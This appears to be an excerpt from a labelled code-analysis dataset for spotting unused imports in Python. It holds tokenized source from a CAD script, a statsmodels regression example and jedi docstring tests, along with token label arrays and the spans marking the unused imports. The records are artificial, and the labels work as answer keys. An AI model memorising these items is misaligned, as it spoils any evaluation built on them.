"\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "Revo", "luti", "on_", "(_", "c_", "[_", "\"", "Curve", "\\u{", "0", "}\"_", "._", "format_", "(_", "curve", "Counter_", "-_", "1_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "Sai", "l", "Cap", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "xli", "st_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yli", "st_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zli", "st_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curve", "List", "Start_", "=_", "curve", "Counter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", ",_", "x_", "in_", "enumerate_", "(_", "x", "Cap", "List_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "z1_", "=_", "z", "List_", "[_", "i_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xli", "st_", "._", "append_", "(_", "x_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yra", "ng_", "=_", "linspace_", "(_", "1.5", "078", "13_", ",_", "(_", "z1_", "/_", "2_", ")_", "+_", "1.5", "078", "13_", ",_", "10_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "y_", "in_", "yra", "ng_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "z1_", "**_", "2_", "-_", "(_", "2_", "*_", "(_", "y_", "-_", "1.5", "078", "13_", ")_", ")_", "**_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "z_", "=_", "math_", "._", "sqrt_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "z_", "=_", "0._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "yli", "st_", "._", "append_", "(_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "zli", "st_", "._", "append_", "(_", "z_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "i_", "in_", "xrange_", "(_", "0_", ",_", "10_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "list", "Start_", "=_", "vert", "Counter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "counter_", "=_", "i_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "x_", "in_", "xli", "st_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "y_", "=_", "yli", "st_", "[_", "counter_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "z_", "=_", "zli", "st_", "[_", "counter_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "counter_", "+=_", "10_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "Point_", "(_", "x_", ",_", "y_", ",_", "z_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "list", "End_", "=_", "vert", "Counter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "Curve_", "(_", "list", "Start_", ",_", "list", "End_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "curve", "List", "End_", "=_", "curve", "Counter_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "Fil", "ling_", "(_", "curve", "List", "Start_", ",_", "curve", "List", "End_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "create", "Mirror", "_", "(_", "fi_", "[_", "\"", "Fil", "ling", "\\u{", "0", "}\"_", "._", "format_", "(_", "compo", "und", "Counter_", "-_", "1_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
statsmodels/statsmodels/statsmodels/examples/ex_ols_robustcov.py
[ { "content": "\nfrom __future__ import print_function\nimport numpy as np\nfrom statsmodels.regression.linear_model import OLS, GLSAR\nfrom statsmodels.tools.tools import add_constant\nfrom statsmodels.datasets import macrodata\nimport statsmodels.regression.tests.results.results_macro_ols_robust as res\n\n\nd2 = macrodata.load().data\ng_gdp = 400*np.diff(np.log(d2['realgdp']))\ng_inv = 400*np.diff(np.log(d2['realinv']))\nexogg = add_constant(np.c_[g_gdp, d2['realint'][:-1]], prepend=False)\nres_olsg = OLS(g_inv, exogg).fit()\n\n\n\nprint(res_olsg.summary())\nres_hc0 = res_olsg.get_robustcov_results('HC1')\nprint('\\n\\n')\nprint(res_hc0.summary())\nprint('\\n\\n')\nres_hac4 = res_olsg.get_robustcov_results('HAC', maxlags=4, use_correction=True)\nprint(res_hac4.summary())\n\n\nprint('\\n\\n')\ntt = res_hac4.t_test(np.eye(len(res_hac4.params)))\nprint(tt.summary())\nprint('\\n\\n')\nprint(tt.summary_frame())\n\nres_hac4.use_t = False\n\nprint('\\n\\n')\ntt = res_hac4.t_test(np.eye(len(res_hac4.params)))\nprint(tt.summary())\nprint('\\n\\n')\nprint(tt.summary_frame())\n\nprint(vars(res_hac4.f_test(np.eye(len(res_hac4.params))[:-1])))\n\nprint(vars(res_hac4.wald_test(np.eye(len(res_hac4.params))[:-1], use_f=True)))\nprint(vars(res_hac4.wald_test(np.eye(len(res_hac4.params))[:-1], use_f=False)))\n\n# new cov_type can be set in fit method of model\n\nmod_olsg = OLS(g_inv, exogg)\nres_hac4b = mod_olsg.fit(cov_type='HAC',\n cov_kwds=dict(maxlags=4, use_correction=True))\nprint(res_hac4b.summary())\n\nres_hc1b = mod_olsg.fit(cov_type='HC1')\nprint(res_hc1b.summary())\n\n# force t-distribution\nres_hc1c = mod_olsg.fit(cov_type='HC1', cov_kwds={'use_t':True})\nprint(res_hc1c.summary())\n\n# force t-distribution\ndecade = (d2['year'][1:] // 10).astype(int) # just make up a group variable\nres_clu = mod_olsg.fit(cov_type='cluster',\n cov_kwds={'groups':decade, 'use_t':True})\nprint(res_clu.summary())\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from statsmodels.regression.linear_model import OLS, GLSAR", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 58 }, { "span": "import statsmodels.regression.tests.results.results_macro_ols_robust as res", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 75 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "print", "\\u", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "numpy_", "as_", "np_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "stats", "models_", "._", "regression_", "._", "linear", "\\u", "model_", "import_", "OL", "S_", ",_", "GL", "SAR", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "stats", "models_", "._", "tools_", "._", "tools_", "import_", "add", "\\u", "constant_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "stats", "models_", "._", "datasets_", "import_", "macro", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "stats", "models_", "._", "regression_", "._", "tests_", "._", "results_", "._", "results", "\\u", "macro", "\\u", "ols", "\\u", "robust", "_", "as_", "res_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "d2_", "=_", "macro", "data_", "._", "load_", "(_", ")_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "gd", "p_", "=_", "400_", "*_", "np_", "._", "diff_", "(_", "np_", "._", "log_", "(_", "d2_", "[_", "'", "real", "gd", "p", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g", "\\u", "inv_", "=_", "400_", "*_", "np_", "._", "diff_", "(_", "np_", "._", "log_", "(_", "d2_", "[_", "'", "reali", "nv", "'_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exo", "gg_", "=_", "add", "\\u", "constant_", "(_", "np_", "._", "c\\u", "_", "[_", "g", "\\u", "gd", "p_", ",_", "d2_", "[_", "'", "reali", "nt", "'_", "]_", "[_", ":_", "-_", "1_", "]_", "]_", ",_", "prepend", "_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res", "\\u", "ols", "g_", "=_", "OL", "S_", "(_", "g", "\\u", "inv_", ",_", "exo", "gg_", ")_", "._", "fit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "res", "\\u", "ols", "g_", "._", "summary_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res", "\\u", "hc", "0_", "=_", "res", "\\u", "ols", "g_", "._", "get", "\\u", "robust", "cov", "\\u", "results_", "(_", "'", "HC", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'\\\\", "n", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "res", "\\u", "hc", "0_", "._", "summary_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'\\\\", "n", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res", "\\u", "hac", "4_", "=_", "res", "\\u", "ols", "g_", "._", "get", "\\u", "robust", "cov", "\\u", "results_", "(_", "'", "HA", "C", "'_", ",_", "maxl", "ags_", "=_", "4_", ",_", "use", "\\u", "correction_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "res", "\\u", "hac", "4_", "._", "summary_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'\\\\", "n", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tt_", "=_", "res", "\\u", "hac", "4_", "._", "t", "\\u", "test_", "(_", "np_", "._", "eye_", "(_", "len_", "(_", "res", "\\u", "hac", "4_", "._", "params_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "tt_", "._", "summary_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'\\\\", "n", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "tt_", "._", "summar", "y", "\\u", "frame_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "res", "\\u", "hac", "4_", "._", "use", "\\u", "t_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "'\\\\", "n", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tt_", "=_", "res", "\\u", "hac", "4_", "._", "t", "\\u", "test_", "(_", "np_", "._", "eye_", "(_", "len_", "(_", "res", "\\u", "hac", "4_", "._", "params_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "tt_", "._", "summary_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "'\\\\", "n", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "tt_", "._", "summar", "y", "\\u", "frame_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "vars_", "(_", "res", "\\u", "hac", "4_", "._", "f", "\\u", "test_", "(_", "np_", "._", "eye_", "(_", "len_", "(_", "res", "\\u", "hac", "4_", "._", "params_", ")_", ")_", "[_", ":_", "-_", "1_", "]_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "(_", "vars_", "(_", "res", "\\u", "hac", "4_", "._", "wal", "d\\u", "test_", "(_", "np_", "._", "eye_", "(_", "len_", "(_", "res", "\\u", "hac", "4_", "._", "params_", ")_", ")_", "[_", ":_", "-_", "1_", "]_", ",_", "use", "\\u", "f_", "=_", "True_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "vars_", "(_", "res", "\\u", "hac", "4_", "._", "wal", "d\\u", "test_", "(_", "np_", "._", "eye_", "(_", "len_", "(_", "res", "\\u", "hac", "4_", "._", "params_", ")_", ")_", "[_", ":_", "-_", "1_", "]_", ",_", "use", "\\u", "f_", "=_", "False_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "new", " ", "cov", "\\u", "type", " ", "can", " ", "be", " ", "set", " ", "in", " ", "fit", " ", "method", " ", "of", " ", "model_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mod", "\\u", "ols", "g_", "=_", "OL", "S_", "(_", "g", "\\u", "inv_", ",_", "exo", "gg_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res", "\\u", "hac", "4b", "_", "=_", "mod", "\\u", "ols", "g_", "._", "fit_", "(_", "cov", "\\u", "type_", "=_", "'", "HA", "C", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cov", "\\u", "kwds_", "=_", "dict_", "(_", "maxl", "ags_", "=_", "4_", ",_", "use", "\\u", "correction_", "=_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "res", "\\u", "hac", "4b", "_", "._", "summary_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "res", "\\u", "hc", "1b", "_", "=_", "mod", "\\u", "ols", "g_", "._", "fit_", "(_", "cov", "\\u", "type_", "=_", "'", "HC", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "res", "\\u", "hc", "1b", "_", "._", "summary_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "force", " ", "t", "-", "distribution_", "\\u\\u\\uNL\\u\\u\\u_", "res", "\\u", "hc", "1c", "_", "=_", "mod", "\\u", "ols", "g_", "._", "fit_", "(_", "cov", "\\u", "type_", "=_", "'", "HC", "1", "'_", ",_", "cov", "\\u", "kwds_", "=_", "{_", "'", "use", "\\u", "t", "'_", ":_", "True_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "res", "\\u", "hc", "1c", "_", "._", "summary_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "force", " ", "t", "-", "distribution_", "\\u\\u\\uNL\\u\\u\\u_", "decad", "e_", "=_", "(_", "d2_", "[_", "'", "year", "'_", "]_", "[_", "1_", ":_", "]_", "//_", "10_", ")_", "._", "astype_", "(_", "int_", ")_", "#", " ", "just", " ", "make", " ", "up", " ", "a", " ", "group", " ", "variable_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res", "\\u", "clu", "_", "=_", "mod", "\\u", "ols", "g_", "._", "fit_", "(_", "cov", "\\u", "type_", "=_", "'", "cluster", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cov", "\\u", "kwds_", "=_", "{_", "'", "group", "s", "'_", ":_", "decad", "e_", ",_", "'", "use", "\\u", "t", "'_", ":_", "True_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "res", "\\u", "clu", "_", "._", "summary_", "(_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
davidhalter/jedi/test/test_evaluate/test_docstring.py
[ { "content": "\"\"\"\nTesting of docstring related issues and especially ``jedi.docstrings``.\n\"\"\"\n\nfrom textwrap import dedent\nimport jedi\nfrom ..helpers import unittest\n\ntry:\n import numpydoc\nexcept ImportError:\n numpydoc_unavailable = True\nelse:\n numpydoc_unavailable = False\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestDocstring(unittest.TestCase):\n\n\n\n\n\n\n\n\n\n", "metadata": "root.TestDocstring", "header": "['module', '___EOS___']", "index": 16 }, { "content": " def test_function_doc(self):\n defs = jedi.Script(\"\"\"\n def func():\n '''Docstring of `func`.'''\n func\"\"\").goto_definitions()\n self.assertEqual(defs[0].raw_doc, 'Docstring of `func`.')", "metadata": "root.TestDocstring.test_function_doc", "header": "['class', 'TestDocstring', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 17 }, { "content": " @unittest.skip('need evaluator class for that')\n def test_attribute_docstring(self):\n defs = jedi.Script(\"\"\"\n x = None\n '''Docstring of `x`.'''\n x\"\"\").goto_definitions()\n self.assertEqual(defs[0].raw_doc, 'Docstring of `x`.')", "metadata": "root.TestDocstring.test_attribute_docstring", "header": "['class', 'TestDocstring', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 24 }, { "content": " @unittest.skip('need evaluator class for that')\n def test_multiple_docstrings(self):\n defs = jedi.Script(\"\"\"\n def func():\n '''Original docstring.'''\n x = func\n '''Docstring of `x`.'''\n x\"\"\").goto_definitions()\n docs = [d.raw_doc for d in defs]\n self.assertEqual(docs, ['Original docstring.', 'Docstring of `x`.'])", "metadata": "root.TestDocstring.test_multiple_docstrings", "header": "['class', 'TestDocstring', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 32 }, { "content": " def test_completion(self):\n assert jedi.Script('''\n class DocstringCompletion():\n #? []\n \"\"\" asdfas \"\"\"''').completions()", "metadata": "root.TestDocstring.test_completion", "header": "['class', 'TestDocstring', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 43 }, { "content": " def test_docstrings_type_dotted_import(self):\n s = \"\"\"\n def func(arg):\n '''\n :type arg: random.Random\n '''\n arg.\"\"\"\n names = [c.name for c in jedi.Script(s).completions()]\n assert 'seed' in names", "metadata": "root.TestDocstring.test_docstrings_type_dotted_import", "header": "['class', 'TestDocstring', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 49 }, { "content": " def test_docstrings_param_type(self):\n s = \"\"\"\n def func(arg):\n '''\n :param str arg: some description\n '''\n arg.\"\"\"\n names = [c.name for c in jedi.Script(s).completions()]\n assert 'join' in names", "metadata": "root.TestDocstring.test_docstrings_param_type", "header": "['class', 'TestDocstring', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 59 }, { "content": " def test_docstrings_type_str(self):\n s = \"\"\"\n def func(arg):\n '''\n :type arg: str\n '''\n arg.\"\"\"\n\n names = [c.name for c in jedi.Script(s).completions()]\n assert 'join' in names", "metadata": "root.TestDocstring.test_docstrings_type_str", "header": "['class', 'TestDocstring', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 69 }, { "content": " def test_docstring_instance(self):\n # The types hint that it's a certain kind\n s = dedent(\"\"\"\n class A:\n def __init__(self,a):\n '''\n :type a: threading.Thread\n '''\n\n if a is not None:\n a.start()\n\n self.a = a\n\n\n def method_b(c):\n '''\n :type c: A\n '''\n\n c.\"\"\")\n\n names = [c.name for c in jedi.Script(s).completions()]\n assert 'a' in names\n assert '__init__' in names\n assert 'mro' not in names # Exists only for types.", "metadata": "root.TestDocstring.test_docstring_instance", "header": "['class', 'TestDocstring', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 80 }, { "content": " @unittest.skipIf(numpydoc_unavailable, 'numpydoc module is unavailable')\n def test_numpydoc_docstring(self):\n s = dedent('''\n def foobar(x, y):\n \"\"\"\n Parameters\n ----------\n x : int\n y : str\n \"\"\"\n y.''')\n names = [c.name for c in jedi.Script(s).completions()]\n assert 'isupper' in names\n assert 'capitalize' in names", "metadata": "root.TestDocstring.test_numpydoc_docstring", "header": "['class', 'TestDocstring', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 107 }, { "content": " @unittest.skipIf(numpydoc_unavailable, 'numpydoc module is unavailable')\n def test_numpydoc_docstring_set_of_values(self):\n s = dedent('''\n def foobar(x, y):\n \"\"\"\n Parameters\n ----------\n x : {'foo', 'bar', 100500}, optional\n \"\"\"\n x.''')\n names = [c.name for c in jedi.Script(s).completions()]\n assert 'isupper' in names\n assert 'capitalize' in names\n assert 'numerator' in names", "metadata": "root.TestDocstring.test_numpydoc_docstring_set_of_values", "header": "['class', 'TestDocstring', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 122 }, { "content": " @unittest.skipIf(numpydoc_unavailable, 'numpydoc module is unavailable')\n def test_numpydoc_alternative_types(self):\n s = dedent('''\n def foobar(x, y):\n \"\"\"\n Parameters\n ----------\n x : int or str or list\n \"\"\"\n x.''')\n names = [c.name for c in jedi.Script(s).completions()]\n assert 'isupper' in names\n assert 'capitalize' in names\n assert 'numerator' in names\n assert 'append' in names", "metadata": "root.TestDocstring.test_numpydoc_alternative_types", "header": "['class', 'TestDocstring', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 137 } ]
[ { "span": "import numpydoc", "start_line": 9, "start_column": 4, "end_line": 9, "end_column": 19 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "Test", "ing", " ", "of", " ", "docstr", "ing", " ", "relate", "d", " ", "issue", "s", " ", "and", " ", "especial", "ly", " ", "``", "jedi", ".", "docstrings", "``.", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "textwrap_", "import_", "dedent_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "jedi", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "._", "._", "helpers_", "import_", "unittest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "nump", "ydo", "c_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Import", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nump", "ydo", "c\\u", "unava", "ilab", "le_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nump", "ydo", "c\\u", "unava", "ilab", "le_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Docs", "tring_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 